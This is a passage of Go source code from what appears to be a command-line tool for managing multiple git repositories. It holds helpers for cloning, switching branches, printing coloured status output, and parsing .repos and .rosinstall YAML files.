[]string{} 189 | 190 | if detachHead { 191 | cmdArgs = append(cmdArgs, "--detach") 192 | } else if createBranch { 193 | cmdArgs = append(cmdArgs, "--create") 194 | } 195 | cmdArgs = append(cmdArgs, branch) 196 | 197 | output, err := RunGitCmd(path, "switch", nil, cmdArgs...) 198 | if err != nil { 199 | switchError := fmt.Errorf("failed to switch branch of repository %s to %s. Error: %s", path, branch, err) 200 | return "", switchError 201 | } 202 | return output, nil 203 | } 204 | 205 | // IsValidSha Check if sha given is a valid SHA1 206 | func IsValidSha(sha string) bool { 207 | shaRegex := regexp.MustCompile(`^[a-fA-F0-9]{7,40}$`) 208 | return shaRegex.MatchString(sha) 209 | 210 | } 211 | 212 | // GitClone Clone a given repository URL 213 | func GitClone(url string, version string, clonePath string, overwriteExisting bool, shallowClone bool, enablePrompt bool, recurseSubmodules bool) int { 214 | 215 | // Check if clonePath exists 216 | if _, err := os.Stat(clonePath); err == nil { 217 | if !overwriteExisting { 218 | return SkippedClone 219 | } else { 220 | // Remove existing clonePath 221 | if err := os.RemoveAll(clonePath); err != nil { 222 | PrintErrorMsg(fmt.Sprintf("Failed to remove existing cloning path %s. Error: %s\n", clonePath, err)) 223 | panic(err) 224 | } 225 | } 226 | } 227 | 228 | var envConfig []string 229 | if enablePrompt { 230 | envConfig = []string{"GIT_TERMINAL_PROMPT=1"} 231 | } else { 232 | envConfig = []string{"GIT_TERMINAL_PROMPT=0"} 233 | } 234 | 235 | var cmdArgs []string 236 | 237 | versionIsSha := IsValidSha(version) 238 | if version == "" || versionIsSha { 239 | cmdArgs = []string{url, clonePath} 240 | } else { 241 | cmdArgs = []string{url, "--branch", version, clonePath} 242 | } 243 | 244 | if shallowClone { 245 | cmdArgs = append(cmdArgs, "--depth", "1") 246 | } 247 | if recurseSubmodules { 248 | cmdArgs = append(cmdArgs, "--recurse-submodules") 249 | if shallowClone { 250 | cmdArgs = append(cmdArgs, "--shallow-submodules") 251 | } 252 | } 253 | if _, err := RunGitCmd(".", "clone", envConfig, cmdArgs...); err != nil { 254 | return FailedClone 255 | } 256 | 257 | if versionIsSha { 258 | if _, err := GitSwitch(clonePath, version, false, true); err != nil { 259 | return FailedClone 260 | } 261 | } 262 | 263 | return SuccessfullClone 264 | } 265 | 266 | // PrintGitLog Pretty print logs for a given git repository 267 | func PrintGitLog(path string, oneline bool, numCommits int) { 268 | repoLogs := GetGitLog(path, oneline, numCommits) 269 | PrintRepoEntry(path, string(repoLogs)) 270 | } 271 | 272 | // PrintGitStatus Pretty print status for a given git repository 273 | func PrintGitStatus(path string, skipEmpty bool, plainStatus bool) { 274 | repoStatus := GetGitStatus(path, plainStatus) 275 | 276 | if plainStatus { 277 | if skipEmpty && strings.Count(repoStatus, "\n") <= 1 { 278 | return 279 | } 280 | } else { 281 | if skipEmpty && strings.Contains(repoStatus, "working tree clean") { 282 | return 283 | } 284 | } 285 | 286 | PrintRepoEntry(path, string(repoStatus)) 287 | } 288 | 289 | // PrintGitPull Pretty print git pull output for a given git repository 290 | func PrintGitPull(path string) { 291 | pullMsg := PullGitRepo(path) 292 | 293 | PrintRepoEntry(path, string(pullMsg)) 294 | } 295 | 296 | // PrintGitSync Pretty print git sync output for a given git repository 297 | func PrintGitSync(path string) { 298 | syncMsg := SyncGitRepo(path) 299 | 300 | PrintRepoEntry(path, string(syncMsg)) 301 | } 302 | 303 | // PrintCheckGit Pretty print git url validation 304 | func PrintCheckGit(path string, url string, version string, enablePrompt bool) bool { 305 | var checkMsg string 306 | var isURLValid bool 307 | if isURLValid, err := IsGitURLValid(url, version, enablePrompt); !isURLValid { 308 | checkMsg = fmt.Sprintf("%sFailed to contact git repository '%s' with version '%s'. Error: %v%s\n", RedColor, url, version, err, ResetColor) 309 | } else { 310 | checkMsg = fmt.Sprintf("Successfully contact git repository '%s' with version '%s'\n", url, version) 311 | } 312 | PrintRepoEntry(path, checkMsg) 313 | return isURLValid 314 | } 315 | 316 | // PrintGitClone Pretty print git clone 317 | func PrintGitClone(url string, version string, path string, overwriteExisting bool, shallowClone bool, enablePrompt bool, recurseSubmodules bool) bool { 318 | var cloneMsg string 319 | var cloneSuccessful bool 320 | statusClone := GitClone(url, version, path, overwriteExisting, shallowClone, enablePrompt, recurseSubmodules) 321 | switch statusClone { 322 | case SuccessfullClone: 323 | cloneMsg = fmt.Sprintf("Successfully cloned git repository '%s' with version '%s'\n", url, version) 324 | cloneSuccessful = true 325 | case SkippedClone: 326 | cloneMsg = fmt.Sprintf("%sSkipped cloning existing git repository '%s'%s\n", OrangeColor, url, ResetColor) 327 | cloneSuccessful = true 328 | case FailedClone: 329 | cloneMsg = fmt.Sprintf("%sFailed to clone git repository '%s' with version '%s'%s\n", RedColor, url, version, ResetColor) 330 | cloneSuccessful = false 331 | default: 332 | panic("Unexpected behavior!") 333 | } 334 | PrintRepoEntry(path, cloneMsg) 335 | return cloneSuccessful 336 | } 337 | 338 | // PrintGitSwitch Pretty print git switch 339 | func PrintGitSwitch(path string, branch string, createBranch bool, detachHead bool) bool { 340 | switchMsg, err := GitSwitch(path, branch, createBranch, detachHead) 341 | if err == nil { 342 | PrintRepoEntry(path, string(switchMsg)) 343 | return true 344 | } 345 | errorMsg := fmt.Sprintf("%sError: '%s'%s\n", RedColor, err, ResetColor) 346 | PrintRepoEntry(path, string(errorMsg)) 347 | return false 348 | } 349 | -------------------------------------------------------------------------------- /utils/print_helpers.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import "fmt" 4 | 5 | const ( 6 | BlueColor = "\033[38;2;137;180;250m" 7 | GreenColor = "\033[38;5;157m" 8 | OrangeColor = "\033[38;2;250;179;135m" 9 | PurpleColor = "\033[38;5;183m" 10 | RedColor = "\033[38;2;243;139;168m" 11 | ResetColor = "\033[0m" 12 | ) 13 | 14 | func PrintRepoEntry(path string, msg string) { 15 | fmt.Printf("%s=== %s ===%s\n%s", BlueColor, path, ResetColor, msg) 16 | } 17 | 18 | func PrintSection(msg string) { 19 | fmt.Printf("%s%s%s\n", GreenColor, msg, ResetColor) 20 | } 21 | func PrintSeparator() { 22 | fmt.Printf("%s--------------------%s\n", PurpleColor, ResetColor) 23 | } 24 | 25 | func PrintInfoMsg(msg string) { 26 | fmt.Printf("%s%s%s", BlueColor, msg, ResetColor) 27 | } 28 | 29 | func PrintWarnMsg(msg string) { 30 | fmt.Printf("%s%s%s", OrangeColor, msg, ResetColor) 31 | } 32 | 33 | func PrintErrorMsg(msg string) { 34 | fmt.Printf("%s%s%s\n", RedColor, msg, ResetColor) 35 | } 36 | -------------------------------------------------------------------------------- /utils/repos_helpers.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "os" 7 | "path/filepath" 8 | "strings" 9 | 10 | "github.com/jesseduffield/yaml" 11 | ) 12 | 13 | type RepositoryJob struct { 14 | RepoPath string 15 | Repo Repository 16 | } 17 | 18 | type Repository struct { 19 | Type string `yaml:"type"` 20 | URL string `yaml:"url"` 21 | Version string `yaml:"version,omitempty"` 22 | Exclude []string `yaml:"exclude,omitempty"` 23 | } 24 | type RepositoryRosinstall struct { 25 | LocalName string `yaml:"local-name"` 26 | URL string `yaml:"uri"` 27 | Version string `yaml:"version,omitempty"` 28 | Exclude []string `yaml:"exclude,omitempty"` 29 | } 30 | 31 | type Config struct { 32 | Repositories map[string]Repository `yaml:"repositories"` 33 | } 34 | 35 | func (c *Config) UnmarshalYAML(unmarshal func(any) error) error { 36 | // Try to unmarshal as .repos format 37 | type configA Config 38 | var a configA 39 | if err := unmarshal(&a); err == nil && a.Repositories != nil { 40 | *c = Config(a) 41 | return nil 42 | } 43 | 44 | // Try to unmarshal as .rosinstall format 45 | var b []map[string]RepositoryRosinstall 46 | if err := unmarshal(&b); err == nil { 47 | repositories := make(map[string]Repository) 48 | for _, item := range b { 49 | for key, repo := range item { 50 | 51 | repositories[repo.LocalName] = Repository{ 52 | Type: key, 53 | URL: repo.URL, 54 | Version: repo.Version, 55 | Exclude: repo.Exclude, 56 | } 57 | } 58 | } 59 | c.Repositories = repositories 60 | return nil 61 | } 62 | return fmt.Errorf("failed to unmarshal as either .repos or .rosinstall format") 63 | } 64 | 65 | // IsReposFileValid Check if given filePath exists and if has .repos suffix 66 | func IsReposFileValid(filePath string) error { 67 | 68 | if _, err := os.Stat(filePath); os.IsNotExist(err) { 69 | return errors.New("error: File does not exist") 70 | } 71 | 72 | if !strings.HasSuffix(filePath, ".repos") && !strings.HasSuffix(filePath, ".rosinstall") { 73 | return errors.New("error: File given does not have a valid .repos or .rosinstall extension") 74 | } 75 | return nil 76 | } 77 | 78 | // ParseReposFile Load data from a given .repos file 79 | func ParseReposFile(filePath string) (*Config, error) { 80 | errValid := IsReposFileValid(filePath) 81 | if errValid != nil { 82 | return nil, errValid 83 | } 84 | yamlFile, err := os.ReadFile(filePath) 85 | 86 | if err != nil { 87 | errorMsg := "failed to read repos file" 88 | // fmt.Printf("%s: %s\n", errorMsg, err) 89 | return nil, errors.New(errorMsg) 90 | } 91 | 92 | // parse YAML content 93 | var config Config 94 | err = yaml.Unmarshal(yamlFile, &config) 95 | if err != nil { 96 | errorMsg := "failed to parse repos file" 97 | // fmt.Printf("%s: %s\n", errorMsg, err) 98 | return nil, errors.New(errorMsg) 99 | } 100 | 101 | if len(config.Repositories) == 0 { 102 | errorMsg := "empty repos file given" 103 | // fmt.Printf("%s: %s\n", errorMsg, err) 104 | return nil, errors.New(errorMsg) 105 | } 106 | return &config, nil 107 | 108 | } 109 | 110 | // FindReposFiles Search .repos files in a given path 111 | func FindReposFiles(rootPath string) ([]string, error) { 112 | var foundReposFiles []string 113 | err := filepath.Walk(rootPath, func(path string, info os.FileInfo, err error) error { 114 | if !info.IsDir() && filepath.Ext(path) == ".repos" { 115 | if err != nil { 116 | return err 117 | } 118 | foundReposFiles = append(foundReposFiles, path) 119 | } 120 | return nil 121 | }) 122 | 123 | return foundReposFiles, err 124 | } 125 | 126 | // FindDirectory Search for a targetDir given a rootPath 127 | func FindDirectory(rootPath string, targetDir string) (string, error) { 128 | if len(rootPath) == 0 { 129 | return "", errors.New("empty rootPath given") 130 | } 131 | if len(targetDir) == 0 { 132 | return "", errors.New("empty targetDir given") 133 | } 134 | if rootInfo, err := os.Stat(rootPath); err != nil || !rootInfo.IsDir() { 135 | return "", err 136 | } 137 | if _, err := os.Stat(targetDir); err == nil { 138 | return "", errors.New("targetDir is a Path!. Expected just a name") 139 | } 140 | 141 | var dirPath string 142 | err := filepath.Walk(rootPath, func(path string, info os.FileInfo, err error) error { 143 | if err != nil { 144 | return err 145 | } 146 | if info.IsDir() && info.Name() == targetDir { 147 | dirPath = path 148 | return filepath.SkipDir 149 | } 150 | return nil 151 | }) 152 | if err != nil { 153 | return "", err 154 | } 155 | return dirPath, nil 156 | } 157 | 158 | // ParseRepositoryInfo Create a Repository object containing the given repository info 159 | func ParseRepositoryInfo(repoPath string, useCommit bool) Repository { 160 | var repository Repository 161 | if !IsGitRepository(repoPath) { 162 | return repository 163 | } 164 | repository.Type = "git" 165 | repository.URL = GetGitRemoteURL(repoPath) 166 | if useCommit { 167 | repository.Version = GetGitCommitSha(repoPath) 168 | } else { 169 | repository.Version = GetGitBranch(repoPath) 170 | } 171 | return repository 172 | } 173 | 174 | func GetRepoPath(repoName string) string { 175 | repoNameInfo, err := os.Stat(repoName) 176 | 177 | if err == nil { 178 | if !repoNameInfo.IsDir() { 179 | PrintErrorMsg(fmt.Sprintf("%s is not a directory\n", repoName)) 180 | os.Exit(1) 181 | } 182 | return repoName 183 | } 184 | 185 | if !os.IsNotExist(err) { 186 | PrintErrorMsg(fmt.Sprintf("Error checking repository: %s\n", repoName)) 187 | os.Exit(1) 188 | } 189 | 190 | foundRepoPath, findErr := FindDirectory(".", repoName) 191 | if findErr != nil || foundRepoPath == "" { 192 | PrintErrorMsg(fmt.Sprintf("Failed to find directory named %s. Error: %v\n", repoName, findErr)) 193 | os.Exit(1) 194 | } 195 | return foundRepoPath 196 | } 197 | --------------------------------------------------------------------------------